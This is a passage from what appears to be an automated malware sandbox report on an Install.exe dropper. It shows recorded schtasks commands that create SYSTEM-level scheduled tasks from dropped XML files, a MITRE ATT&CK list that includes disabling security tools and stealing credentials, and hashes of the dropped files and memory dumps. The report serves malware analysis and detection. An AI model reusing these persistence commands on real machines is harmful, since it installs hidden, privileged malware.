    PID:1900
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "yhpnjpnScufQJz" /F /xml "C:\Program Files (x86)\TXAseerOEEIU2\VDacbbL.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:980
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "yhvUFBcfazytp2" /F /xml "C:\ProgramData\LNNrjDjXEWBRCBVB\MokGqJD.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2000

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:632

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:832

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1596

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

VDacbbL.xml

Path C:\Program Files (x86)\TXAseerOEEIU2\VDacbbL.xml
Size 2KB
SHA256 c0cae2eb892103796e70ad31950b3374c4ca9da169c990d805369b4317d3e483
MD5 713fb3d2b6fbd3289a0c47ffdae8bf9f
SHA1 62b4c1e6e7623893f4028d08fae1e072e578d846
SHA512 ab0d8d594eeb51b085c0ff8427770e41588e9a57b8fddfc458f339577e8412adf616ccbe88074a7763176a2f1f4ca48627458a87f4a58f0f47da5dddaa2734d3
MD5 SHA1 SHA512

Submit Download

TatCkMC.xml

Path C:\Program Files (x86)\foutcXFTU\TatCkMC.xml
Size 2KB
SHA256 2727b0dab07aa1c0c4e1179ddec1c6216ffd0afeee85e8b7aa27c44a97f5296a
MD5 76a06cf514e68057426376b4faff251d
SHA1 51caf05d684970ca46fd5856bc3118dd42d182f9
SHA512 fc3a0ab16ee80ced1b040d40927922b78af309333d6d8268ca66775543654c9337f8522fcb4b4c6e553c9ea2bc7cabfdb303cedfddfce78f9bc414ac57d073bd
MD5 SHA1 SHA512

Submit Download

MokGqJD.xml

Path C:\ProgramData\LNNrjDjXEWBRCBVB\MokGqJD.xml
Size 2KB
SHA256 d1e090ed41a3453505a39d2a5f5263c02b47cc1cce86895c64c3e954cd7574f0
MD5 2912597003bbc3a569cb9a50951db108
SHA1 52a9ee5d0092acd62afe0d12eaf92bdd2416a473
SHA512 d0dd7f28392d8c8e3e7013a022131e15f258d9460b9afaecd7bc8e16182cfca3cd4542dec19b3f387a4302ff7529c402b82bf624bd26fcc3da7ab24a155fa2db
MD5 SHA1 SHA512

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zS752.tmp\Install.exe
Size 6.3MB
SHA256 28906b9fa23328ddd0be4993882d3e0bf4543b9f85a86b316f92802bcfe6f6cd
MD5 a0350e5281be8524b7691930deb1adce
SHA1 b4498464c55637896f44e4928bac7f5f45bc5b91
SHA512 be115f498c10b72368e2954a86d544af6163d4e76339712d43404bb62b722ef3b98542b2941721091b357d8a55ae70f729a22748dd75f6782869a5efe633210a
SSDEEP 196608:91OL/gr7bLU7RVn2DV1waUMOVNXsTAF2Op:3OLoXbLU7/6aMOVqV4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zS752.tmp\Install.exe
Size 6.3MB
SHA256 28906b9fa23328ddd0be4993882d3e0bf4543b9f85a86b316f92802bcfe6f6cd
MD5 a0350e5281be8524b7691930deb1adce
SHA1 b4498464c55637896f44e4928bac7f5f45bc5b91
SHA512 be115f498c10b72368e2954a86d544af6163d4e76339712d43404bb62b722ef3b98542b2941721091b357d8a55ae70f729a22748dd75f6782869a5efe633210a
SSDEEP 196608:91OL/gr7bLU7RVn2DV1waUMOVNXsTAF2Op:3OLoXbLU7/6aMOVqV4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zSC32.tmp\Install.exe
Size 6.8MB
SHA256 9d9588df0ab00e0e265441ec696085012575005c6ab175bd898f1b8fd29d9c9d
MD5 398c35c80c705ad9a0c096f7482c921e
SHA1 d0c7e849f4082fa858fded5012e385d500459391
SHA512 bc5791ba995be074193aaa37f9806ea6c6b31a8fd5e5671e41b73709f1161b4c01f0690e24df98d4b7352e3d4ee7b5972abc304024707f62f40e7673562c8b84
SSDEEP 196608:mOdpBuzDmx++2+G4PWEqvABPo/9dToKVRs:mBzDAvG4PGyKV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zSC32.tmp\Install.exe
Size 6.8MB
SHA256 9d9588df0ab00e0e265441ec696085012575005c6ab175bd898f1b8fd29d9c9d
MD5 398c35c80c705ad9a0c096f7482c921e
SHA1 d0c7e849f4082fa858fded5012e385d500459391
SHA512 bc5791ba995be074193aaa37f9806ea6c6b31a8fd5e5671e41b73709f1161b4c01f0690e24df98d4b7352e3d4ee7b5972abc304024707f62f40e7673562c8b84
SSDEEP 196608:mOdpBuzDmx++2+G4PWEqvABPo/9dToKVRs:mBzDAvG4PGyKV
MD5 SHA1 SHA512 SSDEEP

Submit Download

jFrzwfB.exe

Path C:\Users\Admin\AppData\Local\Temp\IOBEhxbPduOPNolVG\bBOQdTXnSXMYUUo\jFrzwfB.exe
Size 6.8MB
SHA256 9d9588df0ab00e0e265441ec696085012575005c6ab175bd898f1b8fd29d9c9d
MD5 398c35c80c705ad9a0c096f7482c921e
SHA1 d0c7e849f4082fa858fded5012e385d500459391
SHA512 bc5791ba995be074193aaa37f9806ea6c6b31a8fd5e5671e41b73709f1161b4c01f0690e24df98d4b7352e3d4ee7b5972abc304024707f62f40e7673562c8b84
SSDEEP 196608:mOdpBuzDmx++2+G4PWEqvABPo/9dToKVRs:mBzDAvG4PGyKV
MD5 SHA1 SHA512 SSDEEP

Submit Download

jFrzwfB.exe

Path C:\Users\Admin\AppData\Local\Temp\IOBEhxbPduOPNolVG\bBOQdTXnSXMYUUo\jFrzwfB.exe
Size 6.8MB
SHA256 9d9588df0ab00e0e265441ec696085012575005c6ab175bd898f1b8fd29d9c9d
MD5 398c35c80c705ad9a0c096f7482c921e
SHA1 d0c7e849f4082fa858fded5012e385d500459391
SHA512 bc5791ba995be074193aaa37f9806ea6c6b31a8fd5e5671e41b73709f1161b4c01f0690e24df98d4b7352e3d4ee7b5972abc304024707f62f40e7673562c8b84
SSDEEP 196608:mOdpBuzDmx++2+G4PWEqvABPo/9dToKVRs:mBzDAvG4PGyKV
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 7e20a1ce8ff7d6f3c5ffb34a4686abc5bce5c6bd5e88f7e9e161b50f841fc404
MD5 4c9f1dcfc5c54179b667e0c9e515deea
SHA1 28143638c8b423c257b2c2f12df59fb568394e30
SHA512 e9e14b6062ccfce4b5d8e34d3c0b7a3eaacd88e2fd4a563b236fa376908e0260b83e5dce91987643e54fa7475764017f709fde7fec5c4b276e36cac4ea7e9575
SSDEEP 96:YhmxCNM8knqvsqvJCwod5xhmxCNM8knqvsEHyqvJCwor/58Eo29QHqB7gHXlUVS1:4rgUozrgAHnorKE/3B7gHv
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 5be6c94764db560642d7d89fe9fe5e930bc33b9e6852683cc250043a41ae19aa
MD5 eaa25f744f16136f268b27f1d6d2c0c1
SHA1 6773c4c8b7547eea9ab7e3e1ebf14fd9f9838dd9
SHA512 9d65034d9d0a6fec7da80f77dd664d1b621ce7d658fc7c4fdb5f9bcb70a26cc3b83deadc86140d68968cc2382195fe92a1fe8b39c09167bc626e2ace09fd6b84
SSDEEP 96:chmxCNM8knqvsqvJCwod51hmxCNM8knqvsEHyqvJCwor/58Eo29QHqB7gHXlUVS1:ErgUo/rgAHnorKE/3B7gHv
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 e7d7888d15c385bca55537e66a52e0b57b6ac65268fe041acc81c19770f3f9e8
MD5 d83adfe57d132271ead701dbaf949ccf
SHA1 dc7b2acb8738074fa8a0e28f7c007de703ef48d2
SHA512 c31d1b05a821e6a8b7245e378b00393d96c459a2b28eddb771fdf34d9295c1f6ad9c07a466fca7ee18f12a394e767fd8d4708b9d767e7775b2348f972de71133
SSDEEP 96:IXhmxCNM8knqvsqvJCwod5dXhmxCNM8knqvsEHyqvJCwor/58Eo29QHqB7gHXlUO:IRrgUoBRrgAHnorKE/3B7gHv
MD5 SHA1 SHA512 SSDEEP

Submit Download

ePIwwpmnybgNqopk.wsf

Path C:\Windows\Temp\hbaSrGurzqNRWWzs\NPYFcBqQ\ePIwwpmnybgNqopk.wsf
Size 8KB
SHA256 6dffb85230c17ba0a177fcb57fe9cf7db7f2d89218950dd7d92c8793e8b0d63e
MD5 482611c8f17efefa4abc2ed970bd3a3e
SHA1 de85446149331b8b7ca14d69ac8f4046c96cb763
SHA512 1b33ebb61c5ad1fd77b19c792cdc8cdedb4c16f5363cccb307fd51ef8972265515eb4a502e6257d70566964bbd988c7eab309feb08c336c06f85329f77d5d6f1
SSDEEP 96:oeUPSrSrQD+/NdSC3ViOm44wGeEJ/4pSPmoCJbrovoCJoqoCJOmoCJBoCJjoCJdk:4SrSrpSjg4wGeEJQp3pp7
MD5 SHA1 SHA512 SSDEEP

Submit Download

XCxlqIJ.exe

Path C:\Windows\Temp\hbaSrGurzqNRWWzs\QujrIoyMqbhXHQh\XCxlqIJ.exe
Size 6.8MB
SHA256 9d9588df0ab00e0e265441ec696085012575005c6ab175bd898f1b8fd29d9c9d
MD5 398c35c80c705ad9a0c096f7482c921e
SHA1 d0c7e849f4082fa858fded5012e385d500459391
SHA512 bc5791ba995be074193aaa37f9806ea6c6b31a8fd5e5671e41b73709f1161b4c01f0690e24df98d4b7352e3d4ee7b5972abc304024707f62f40e7673562c8b84
SSDEEP 196608:mOdpBuzDmx++2+G4PWEqvABPo/9dToKVRs:mBzDAvG4PGyKV
MD5 SHA1 SHA512 SSDEEP

Submit Download

XCxlqIJ.exe

Path C:\Windows\Temp\hbaSrGurzqNRWWzs\QujrIoyMqbhXHQh\XCxlqIJ.exe
Size 6.8MB
SHA256 9d9588df0ab00e0e265441ec696085012575005c6ab175bd898f1b8fd29d9c9d
MD5 398c35c80c705ad9a0c096f7482c921e
SHA1 d0c7e849f4082fa858fded5012e385d500459391
SHA512 bc5791ba995be074193aaa37f9806ea6c6b31a8fd5e5671e41b73709f1161b4c01f0690e24df98d4b7352e3d4ee7b5972abc304024707f62f40e7673562c8b84
SSDEEP 196608:mOdpBuzDmx++2+G4PWEqvABPo/9dToKVRs:mBzDAvG4PGyKV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Registry.pol

Path C:\Windows\system32\GroupPolicy\Machine\Registry.pol
Size 4KB
SHA256 a371b54c6cb3745115e2d79702159393535e746de882ae689dcac94ba4dacf31
MD5 b590661ba4a031af96841aca1b5aa7a0
SHA1 b776ff83de6753c266dc4d7320c861d857443eff
SHA512 a9dfc2d3af20caebe6d678ec35c4454989d936f831d76bf73ad99fac130166cb465318097a7f7ec2db81c03f292b0cf26914fb045d8895ca1c4d20f7c31194f6
SSDEEP 96:W9H9h9j9n9a9K9o92939l9S9nyJ06040b0d0r0U0P0yB0w3:y
MD5 SHA1 SHA512 SSDEEP

Submit Download

gpt.ini

Path C:\Windows\system32\GroupPolicy\gpt.ini
Size 268B
SHA256 9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
MD5 a62ce44a33f1c05fc2d340ea0ca118a4
SHA1 1f03eb4716015528f3de7f7674532c1345b2717d
SHA512 9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732
MD5 SHA1 SHA512

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zS752.tmp\Install.exe
Size 6.3MB
SHA256 28906b9fa23328ddd0be4993882d3e0bf4543b9f85a86b316f92802bcfe6f6cd
MD5 a0350e5281be8524b7691930deb1adce
SHA1 b4498464c55637896f44e4928bac7f5f45bc5b91
SHA512 be115f498c10b72368e2954a86d544af6163d4e76339712d43404bb62b722ef3b98542b2941721091b357d8a55ae70f729a22748dd75f6782869a5efe633210a
SSDEEP 196608:91OL/gr7bLU7RVn2DV1waUMOVNXsTAF2Op:3OLoXbLU7/6aMOVqV4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zS752.tmp\Install.exe
Size 6.3MB
SHA256 28906b9fa23328ddd0be4993882d3e0bf4543b9f85a86b316f92802bcfe6f6cd
MD5 a0350e5281be8524b7691930deb1adce
SHA1 b4498464c55637896f44e4928bac7f5f45bc5b91
SHA512 be115f498c10b72368e2954a86d544af6163d4e76339712d43404bb62b722ef3b98542b2941721091b357d8a55ae70f729a22748dd75f6782869a5efe633210a
SSDEEP 196608:91OL/gr7bLU7RVn2DV1waUMOVNXsTAF2Op:3OLoXbLU7/6aMOVqV4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zS752.tmp\Install.exe
Size 6.3MB
SHA256 28906b9fa23328ddd0be4993882d3e0bf4543b9f85a86b316f92802bcfe6f6cd
MD5 a0350e5281be8524b7691930deb1adce
SHA1 b4498464c55637896f44e4928bac7f5f45bc5b91
SHA512 be115f498c10b72368e2954a86d544af6163d4e76339712d43404bb62b722ef3b98542b2941721091b357d8a55ae70f729a22748dd75f6782869a5efe633210a
SSDEEP 196608:91OL/gr7bLU7RVn2DV1waUMOVNXsTAF2Op:3OLoXbLU7/6aMOVqV4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zS752.tmp\Install.exe
Size 6.3MB
SHA256 28906b9fa23328ddd0be4993882d3e0bf4543b9f85a86b316f92802bcfe6f6cd
MD5 a0350e5281be8524b7691930deb1adce
SHA1 b4498464c55637896f44e4928bac7f5f45bc5b91
SHA512 be115f498c10b72368e2954a86d544af6163d4e76339712d43404bb62b722ef3b98542b2941721091b357d8a55ae70f729a22748dd75f6782869a5efe633210a
SSDEEP 196608:91OL/gr7bLU7RVn2DV1waUMOVNXsTAF2Op:3OLoXbLU7/6aMOVqV4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zSC32.tmp\Install.exe
Size 6.8MB
SHA256 9d9588df0ab00e0e265441ec696085012575005c6ab175bd898f1b8fd29d9c9d
MD5 398c35c80c705ad9a0c096f7482c921e
SHA1 d0c7e849f4082fa858fded5012e385d500459391
SHA512 bc5791ba995be074193aaa37f9806ea6c6b31a8fd5e5671e41b73709f1161b4c01f0690e24df98d4b7352e3d4ee7b5972abc304024707f62f40e7673562c8b84
SSDEEP 196608:mOdpBuzDmx++2+G4PWEqvABPo/9dToKVRs:mBzDAvG4PGyKV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zSC32.tmp\Install.exe
Size 6.8MB
SHA256 9d9588df0ab00e0e265441ec696085012575005c6ab175bd898f1b8fd29d9c9d
MD5 398c35c80c705ad9a0c096f7482c921e
SHA1 d0c7e849f4082fa858fded5012e385d500459391
SHA512 bc5791ba995be074193aaa37f9806ea6c6b31a8fd5e5671e41b73709f1161b4c01f0690e24df98d4b7352e3d4ee7b5972abc304024707f62f40e7673562c8b84
SSDEEP 196608:mOdpBuzDmx++2+G4PWEqvABPo/9dToKVRs:mBzDAvG4PGyKV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zSC32.tmp\Install.exe
Size 6.8MB
SHA256 9d9588df0ab00e0e265441ec696085012575005c6ab175bd898f1b8fd29d9c9d
MD5 398c35c80c705ad9a0c096f7482c921e
SHA1 d0c7e849f4082fa858fded5012e385d500459391
SHA512 bc5791ba995be074193aaa37f9806ea6c6b31a8fd5e5671e41b73709f1161b4c01f0690e24df98d4b7352e3d4ee7b5972abc304024707f62f40e7673562c8b84
SSDEEP 196608:mOdpBuzDmx++2+G4PWEqvABPo/9dToKVRs:mBzDAvG4PGyKV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zSC32.tmp\Install.exe
Size 6.8MB
SHA256 9d9588df0ab00e0e265441ec696085012575005c6ab175bd898f1b8fd29d9c9d
MD5 398c35c80c705ad9a0c096f7482c921e
SHA1 d0c7e849f4082fa858fded5012e385d500459391
SHA512 bc5791ba995be074193aaa37f9806ea6c6b31a8fd5e5671e41b73709f1161b4c01f0690e24df98d4b7352e3d4ee7b5972abc304024707f62f40e7673562c8b84
SSDEEP 196608:mOdpBuzDmx++2+G4PWEqvABPo/9dToKVRs:mBzDAvG4PGyKV
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/992-71-0x0000000010000000-0x0000000011902000-memory.dmp

Download

memory/1112-136-0x000007FEF3C80000-0x000007FEF47DD000-memory.dmp

Download

memory/1112-135-0x000007FEF48A0000-0x000007FEF52C3000-memory.dmp

Download

memory/1112-140-0x000000000288B000-0x00000000028AA000-memory.dmp

Download

memory/1112-139-0x0000000002884000-0x0000000002887000-memory.dmp

Download

memory/1112-137-0x0000000002884000-0x0000000002887000-memory.dmp

Download

memory/1144-197-0x00000000033A0000-0x0000000003407000-memory.dmp

Download

memory/1144-195-0x0000000003D50000-0x0000000003DD5000-memory.dmp

Download

memory/1684-54-0x0000000076401000-0x0000000076403000-memory.dmp

Download

memory/1824-121-0x00000000026F4000-0x00000000026F7000-memory.dmp

Download

memory/1824-119-0x000007FEF3FA0000-0x000007FEF49C3000-memory.dmp

Download

memory/1824-120-0x000007FEEEE00000-0x000007FEEF95D000-memory.dmp

Download

memory/1824-124-0x00000000026FB000-0x000000000271A000-memory.dmp

Download

memory/1824-123-0x00000000026F4000-0x00000000026F7000-memory.dmp

Download

memory/1980-184-0x000000000256B000-0x000000000258A000-memory.dmp

Download

memory/1980-179-0x000007FEF4940000-0x000007FEF5363000-memory.dmp

Download

memory/1980-180-0x000007FEF3DE0000-0x000007FEF493D000-memory.dmp

Download

memory/1980-181-0x0000000002564000-0x0000000002567000-memory.dmp

Download

memory/1980-182-0x000000001B7C0000-0x000000001BABF000-memory.dmp

Download

memory/1980-183-0x0000000002564000-0x0000000002567000-memory.dmp

Download

memory/1988-97-0x000007FEF3DE0000-0x000007FEF493D000-memory.dmp

Download

memory/1988-98-0x0000000002824000-0x0000000002827000-memory.dmp

Download

memory/1988-99-0x000000000282B000-0x000000000284A000-memory.dmp

Download

memory/1988-96-0x000007FEF4940000-0x000007FEF5363000-memory.dmp

Download

memory/1988-95-0x000007FEFC341000-0x000007FEFC343000-memory.dmp

Download

memory/1988-101-0x000000000282B000-0x000000000284A000-memory.dmp

Download